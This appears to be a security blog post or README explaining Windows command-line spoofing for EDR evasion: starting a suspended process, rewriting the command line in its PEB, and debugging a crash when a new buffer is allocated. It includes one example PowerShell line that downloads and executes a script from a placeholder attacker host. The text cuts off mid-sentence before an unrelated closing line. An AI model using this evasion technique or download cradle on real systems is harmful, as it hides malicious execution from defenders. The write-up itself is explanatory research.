Windows 上的命令行欺骗
So, in this blogpost I wanted to cover a well-known technique with a limitation that is not well-documented.
I hope to share some slight insights on Windows process creation and internals.
The topic of today is spoofing process commandlines on Windows.
To be relevant, I will only be describing the technique on 64-bit Intel architecture, which is the most prevalent Windows architecture in the world. The differences between that and other architectures are minor, and mostly come into play when examining the data structures used throughout the blogpost. Also, I will not be handling WOW64 at all, thus targeting true 64-bit processes only.
The differences are pretty minor though, and the reader is encouraged to attempt imiplementing my techniques on their own.
In this blogpost, I also maintain my own commandline spoofer implementation, under the CmdSpoofer directory.
The technique's idea (which I haven't invented myself!) is to start a suspended process, wait a bit, and by modifying the process's memory - change its commandline and resume it.
The main motivation for spoofing commandlines on Windows is evading EDR detections.
Imagine an EDR that intercepts a process's commandline upon its creation and saves it in some cache - by changing the process's commandline later, an EDR might report something that looks benign but is actually malicious - think Living-off-the-land binaries (LOLBins) or even script engines:
powershell -c "Write-Host 'This is a test'"powershell -c "iex (New-Object System.Net.WebClient).DownloadString('http://attacker-controlled.com/evil.ps1')"Note this example is not great since the length of the old commandline is smaller than the new commandline length - we will discuss that shortly.
I did mention what the PEB is in the past when I talked about shellcodes, but for the sake of completion, I will mention it briefly here too.
The Process Environment Block (PEB) is a semi-documented data structure in Windows, meant to be a semi userland copy of the kernel EPROCESS structure.
The motivation for keeping two structures is to save costs - for instance, by consulting the PEB, a process can know what DLLs are loaded to it or what commandline it has without consulting the kernel.
Specifically, we are going to care about the fact the process's commandline is also resident in its PEB.
Also note there is a well-known data structure for handling strings all across Windows (both in kernel and userland) - UNICODE_STRING. That data structure describes wide strings, and is not a flat structure:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;The Buffer points to the actual wide string (note it's just a pointer), while the Length corresponds to the string's length (in bytes), excluding the NUL terminator. Lastly, the MaximumLength corresponds to the string buffer's capacity (in bytes), including the NUL terminator.
Note: on 64-bit systems, there is a 4-byte padding between MaximumLength and Buffer to make the Buffer member 8-byte aligned.
Lastly, when debugging, we will be relying a bit on the 64-bit calling convention, which means first four arguments to functions are passed via registers rcx, rdx, r8 and r9.
This is again a clear 64-bit difference (32-bit calling conventions pass arguments on the stack).
In this section, I will try to describe the main logic that can be found in many places all over the internet.
Note I have found buggy implementations as well, so in this section I will try to be extra accurate.
Also, this algorithm (and all those proof-of-concepts) assume the old commandline length is not shorter than the new commandline length.
I will be diving deeply into that assumption later and see what could be done about it.
In any case, here is the complete algorithm:
CREATE_SUSPENDED in its creation flags and obviously using the old commandline. We get back two HANDLEs - one for the created process and one for the main (and only) thread.ProcessBasicInformation information class. We get back a PROCESS_BASIC_INFORMATION structure, which has the remote process's PEB address.ProcessParameters structure, which is a pointer.ProcessParameters, of type RTL_USER_PROCESS_PARAMETERS. Just like the PEB, RTL_USER_PROCESS_PARAMETERS is a semi-documented structure. Most importantly, it contains a field called CommandLine, of type UNICODE_STRING.CommandLine.MaximumLength (corresponds to the string buffer's capacity, in bytes, including a NUL terminator) and CommandLine.Length (corresponds to the string's length in characters, excluding the NUL terminator). We also have CommandLine.Buffer, which for all means and purposes - is a pointer.CommandLine.Buffer. This is exactly where the assumption about the commandline lengths come into play - if the new commandline is longer than the old commandline, we write outside of the buffer!CommandLine.Length to the new length of the commandline (assuming it's different than the old commandline length).HANDLE, which resumes the entire process execution.HANDLEs.To explain the data structures used schematically, here's some ASCII art:
…What we basically do is resolve all those pointers, override the buffer (denoted as Commandline (PWSTR)) and fix CommandLine.Length.
The assumption for the new commandline to not exceed the old commandline length seems a bit silly in a first glance - can we not allocate our own CommandLine.Buffer using VirtualAllocEx, write our own commandline there and set the buffer accordingly?
Interestingly, it does not work, but it takes a while to understand why. Here is the revised algorithm:
CommandLine structure populated.PAGE_READWRITE. Get a resulting allocated virtual address.CommandLine.Buffer). That is just to remove the old commandline from memory and is not really necessary for the algorithm.CommandLine.MaximumLength to the new capacity (the string's length in bytes including a NUL terminator), update CommandLine.Length to be the new length in bytes (excluding the NUL terminator), and CommandLine.Buffer to point to our newly allocated buffer.This algorithm looks promising, and in fact, before calling ResumeThread, tools like ProcessExplorer will show the new commandline if refreshed, proving our algorithm works!
However, resuming the thread brings up a horrible truth, in an awful error message:
The application was unable to start correctly (0xC0000142). Click OK to close the application.This requires some debugging, as our algorithm should work in principal!
At this point, I set up my debugger WinDbg and attach to the suspended process just before calling ResumeThread. As expected, everything actually seems to be in order:
…However, after resumption we get a crash:
…What's going on? We see a crash in ntdll!RtlUnicodeStringToAnsiString.
Debugging it further, it's obvious the input UNICODE_STRING is corrupted, e.g., when setting a breakpoint on RtlUnicodeStringToAnsiString and displaying the 2nd argument (rdx):
…The Length and MaximumLength seem to be okay, but the buffer does not make sense, especially if comparing the buffer address we got from VirtualAllocEx and the value of t
暂无开放 Issues,或尚未同步最近议题。